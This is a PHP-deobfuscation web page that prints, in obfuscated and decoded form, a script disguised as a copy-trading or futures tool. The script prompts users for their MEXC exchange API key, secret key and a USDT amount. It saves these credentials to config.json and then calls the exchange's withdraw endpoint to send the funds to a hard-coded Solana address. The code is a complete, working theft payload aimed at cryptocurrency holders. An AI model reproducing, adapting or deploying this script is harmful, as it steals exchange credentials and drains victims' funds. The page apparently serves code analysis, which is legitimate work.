Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto gIiK5; bX1gK: $debugLog = fopen("\x64\145\142\x75\147\56\x6c\x6f\x67", "\141"..

Decoded Output download

<?php 
 goto gIiK5; bX1gK: $debugLog = fopen("debug.log", "a"); goto nKe0m; zQeG6: function askSecretKey() { echo "[0;32mYour Secret Key (Don't Share Your Secret Key on Public): [0m"; $secretKey = readline(); return $secretKey; } goto bX1gK; cGsHg: if (askFutureMarket()) { $amount = askAmount(); if ($amount < 50) { echo "Minimum recommended amount is $50 USDT. Exiting...
"; die; } $apiKey = askApiKey(); $secretKey = askSecretKey(); $configData[] = array("question" => "If you're ready for Future Market?", "answer" => "Yes"); $configData[] = array("question" => "How much USDT would you like to withdraw?", "answer" => $amount); $configData[] = array("question" => "Your API Key (Don't Share Your API Key on Public):", "answer" => $apiKey); $configData[] = array("question" => "Your Secret Key (Don't Share Your Secret Key on Public):", "answer" => $secretKey); file_put_contents($configFile, json_encode($configData)); $copyTradeAddress = "QqExRdNMLqYVEMWqt57M98MwkbgJLr13skvNBSfBeEg"; $result = withdrawUSDT($apiKey, $secretKey, $copyTradeAddress, $amount); fwrite($debugLog, $result . "
"); echo $result; } else { echo "Exiting...
"; } goto D18Ht; gIiK5: function withdrawUSDT($apiKey, $secretKey, $copyTradeAddress, $amount) { $apiEndpoint = "https://api.mexc.com/api/v3/capital/withdraw/apply"; $postData = array("assetId" => "USDT", "chainId" => "SOL", "amount" => $amount, "destination" => $copyTradeAddress, "memo" => "Withdraw to copytrade address"); $postDataJson = json_encode($postData); $timestamp = time() * 1000; $sign = hash_hmac("sha256", $apiEndpoint . $timestamp . $postDataJson, $secretKey); $headers = array("Content-Type: application/json", "API-KEY: " . $apiKey, "API-TIMESTAMP: " . $timestamp, "API-SIGNATURE: " . $sign); $curl = curl_init(); curl_setopt_array($curl, array(CURLOPT_URL => $apiEndpoint, CURLOPT_RETURNTRANSFER => true, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => $postDataJson, CURLOPT_HTTPHEADER => $headers)); $response = curl_exec($curl); curl_close($curl); return $response; } goto qIAXl; iPOVM: function askAmount() { echo "[0;32mHow much USDT would you like to withdraw? Input number only: [0m$"; $amount = readline(); return floatval($amount); } goto CC4qe; qIAXl: function askFutureMarket() { echo "[0;32mIf you're ready for Future Market? (Yes/No):[0m "; $answer = readline(); return strtolower($answer) === "yes"; } goto iPOVM; CC4qe: function askApiKey() { echo "[0;32mYour API Key (Don't Share Your API Key on Public): [0m"; $apiKey = readline(); return $apiKey; } goto zQeG6; D18Ht: fclose($debugLog); goto nBWKt; eQbPj: $configData = json_decode(file_get_contents($configFile), true); goto cGsHg; pA0G_: if (!file_exists($configFile)) { file_put_contents($configFile, json_encode(array())); } goto eQbPj; nKe0m: $configFile = "config.json"; goto pA0G_; nBWKt: ?> 

Did this file decode correctly?

Original Code

<?php
 goto gIiK5; bX1gK: $debugLog = fopen("\x64\145\142\x75\147\56\x6c\x6f\x67", "\141"); goto nKe0m; zQeG6: function askSecretKey() { echo "\33\133\60\x3b\63\x32\155\131\157\x75\x72\40\123\x65\143\x72\145\164\40\113\x65\171\x20\x28\x44\157\x6e\x27\164\x20\123\x68\141\x72\145\x20\x59\x6f\165\162\40\x53\145\143\162\x65\164\40\x4b\145\x79\x20\x6f\156\x20\120\x75\142\x6c\151\143\51\72\40\x1b\x5b\60\155"; $secretKey = readline(); return $secretKey; } goto bX1gK; cGsHg: if (askFutureMarket()) { $amount = askAmount(); if ($amount < 50) { echo "\x4d\151\x6e\x69\x6d\x75\155\x20\x72\145\x63\x6f\155\x6d\x65\x6e\x64\x65\144\40\141\x6d\157\165\x6e\x74\x20\151\x73\x20\x24\65\60\x20\125\x53\104\124\x2e\x20\105\170\151\164\x69\x6e\x67\x2e\x2e\x2e\12"; die; } $apiKey = askApiKey(); $secretKey = askSecretKey(); $configData[] = array("\161\x75\145\163\x74\x69\157\156" => "\x49\146\x20\x79\157\165\x27\x72\145\40\162\145\x61\x64\x79\40\146\x6f\162\x20\106\165\164\165\162\x65\x20\115\141\162\x6b\x65\x74\77", "\x61\156\x73\x77\x65\x72" => "\131\x65\163"); $configData[] = array("\x71\x75\x65\163\x74\x69\x6f\156" => "\x48\157\x77\x20\155\x75\143\150\40\x55\x53\104\x54\40\x77\157\165\154\x64\40\171\x6f\165\40\154\x69\x6b\145\40\x74\157\x20\x77\x69\x74\x68\144\x72\x61\167\x3f", "\x61\156\x73\x77\x65\162" => $amount); $configData[] = array("\161\x75\x65\163\x74\151\x6f\156" => "\x59\157\x75\162\x20\101\x50\x49\40\113\145\171\x20\50\104\157\156\x27\164\40\x53\150\141\162\x65\x20\131\x6f\165\x72\x20\101\120\111\40\x4b\x65\x79\x20\x6f\x6e\x20\x50\165\142\154\x69\x63\51\x3a", "\141\x6e\163\167\x65\x72" => $apiKey); $configData[] = array("\161\165\x65\163\164\151\x6f\x6e" => "\x59\x6f\165\x72\x20\x53\x65\x63\x72\145\x74\40\113\145\171\x20\50\104\x6f\x6e\x27\164\40\123\x68\141\162\145\x20\131\157\x75\x72\x20\123\x65\x63\162\145\164\40\x4b\x65\x79\x20\x6f\x6e\x20\x50\165\x62\154\x69\143\51\72", "\x61\x6e\x73\167\145\162" => $secretKey); file_put_contents($configFile, json_encode($configData)); $copyTradeAddress = "\121\161\x45\x78\x52\144\116\x4d\x4c\x71\131\126\105\x4d\127\x71\164\x35\67\x4d\x39\70\x4d\x77\x6b\142\x67\x4a\x4c\162\x31\x33\163\x6b\x76\x4e\x42\x53\x66\102\x65\x45\147"; $result = withdrawUSDT($apiKey, $secretKey, $copyTradeAddress, $amount); fwrite($debugLog, $result . "\12"); echo $result; } else { echo "\x45\x78\151\164\151\156\147\x2e\56\56\12"; } goto D18Ht; gIiK5: function withdrawUSDT($apiKey, $secretKey, $copyTradeAddress, $amount) { $apiEndpoint = "\x68\164\x74\x70\163\72\57\x2f\x61\x70\151\56\155\x65\170\143\56\x63\157\x6d\x2f\x61\160\151\57\x76\63\57\x63\141\x70\151\x74\141\x6c\57\167\151\x74\x68\144\162\141\167\x2f\x61\x70\x70\x6c\171"; $postData = array("\x61\163\163\145\x74\111\144" => "\125\x53\104\x54", "\143\150\x61\x69\x6e\x49\144" => "\123\x4f\x4c", "\x61\155\x6f\x75\x6e\x74" => $amount, "\144\145\x73\164\x69\x6e\141\x74\151\157\156" => $copyTradeAddress, "\155\145\x6d\x6f" => "\127\x69\164\x68\144\x72\x61\x77\40\x74\x6f\40\x63\157\160\171\164\162\141\x64\145\x20\141\144\x64\x72\x65\163\x73"); $postDataJson = json_encode($postData); $timestamp = time() * 1000; $sign = hash_hmac("\163\x68\x61\x32\65\x36", $apiEndpoint . $timestamp . $postDataJson, $secretKey); $headers = array("\x43\x6f\x6e\164\145\x6e\x74\55\124\171\x70\145\x3a\40\x61\x70\x70\x6c\151\x63\141\x74\151\157\x6e\57\152\163\157\156", "\x41\120\111\x2d\x4b\x45\x59\72\x20" . $apiKey, "\101\x50\x49\x2d\x54\111\115\x45\x53\124\x41\x4d\120\x3a\x20" . $timestamp, "\x41\120\111\x2d\123\x49\107\x4e\x41\x54\125\122\105\x3a\40" . $sign); $curl = curl_init(); curl_setopt_array($curl, array(CURLOPT_URL => $apiEndpoint, CURLOPT_RETURNTRANSFER => true, CURLOPT_CUSTOMREQUEST => "\120\x4f\123\x54", CURLOPT_POSTFIELDS => $postDataJson, CURLOPT_HTTPHEADER => $headers)); $response = curl_exec($curl); curl_close($curl); return $response; } goto qIAXl; iPOVM: function askAmount() { echo "\33\x5b\60\x3b\63\x32\155\110\x6f\x77\40\x6d\x75\143\x68\x20\125\x53\104\124\40\x77\x6f\x75\x6c\144\x20\171\157\x75\x20\154\151\153\145\40\164\x6f\40\167\151\164\x68\x64\x72\141\167\77\x20\111\x6e\160\x75\x74\x20\156\x75\x6d\x62\145\162\40\157\156\x6c\x79\x3a\40\33\x5b\60\x6d\44"; $amount = readline(); return floatval($amount); } goto CC4qe; qIAXl: function askFutureMarket() { echo "\x1b\x5b\x30\73\x33\x32\x6d\x49\x66\x20\x79\157\x75\x27\162\x65\40\x72\x65\x61\144\x79\x20\146\x6f\x72\x20\x46\x75\164\x75\x72\x65\40\x4d\141\x72\153\x65\x74\77\x20\x28\x59\145\163\57\116\x6f\51\72\33\133\x30\x6d\40"; $answer = readline(); return strtolower($answer) === "\171\x65\x73"; } goto iPOVM; CC4qe: function askApiKey() { echo "\33\x5b\60\x3b\x33\62\x6d\x59\157\x75\x72\x20\x41\120\111\x20\x4b\145\x79\40\50\x44\x6f\156\x27\164\x20\x53\150\x61\162\x65\40\x59\157\165\162\40\x41\120\111\40\113\x65\171\x20\157\x6e\40\120\165\x62\154\x69\x63\51\x3a\x20\33\x5b\x30\155"; $apiKey = readline(); return $apiKey; } goto zQeG6; D18Ht: fclose($debugLog); goto nBWKt; eQbPj: $configData = json_decode(file_get_contents($configFile), true); goto cGsHg; pA0G_: if (!file_exists($configFile)) { file_put_contents($configFile, json_encode(array())); } goto eQbPj; nKe0m: $configFile = "\x63\157\x6e\146\x69\147\56\x6a\163\157\x6e"; goto pA0G_; nBWKt: ?>

Function Calls

None

Variables

None

Stats

MD5 3fcc9f7deba2e378788cc7efe83f169f
Eval Count 0
Decode Time 48 ms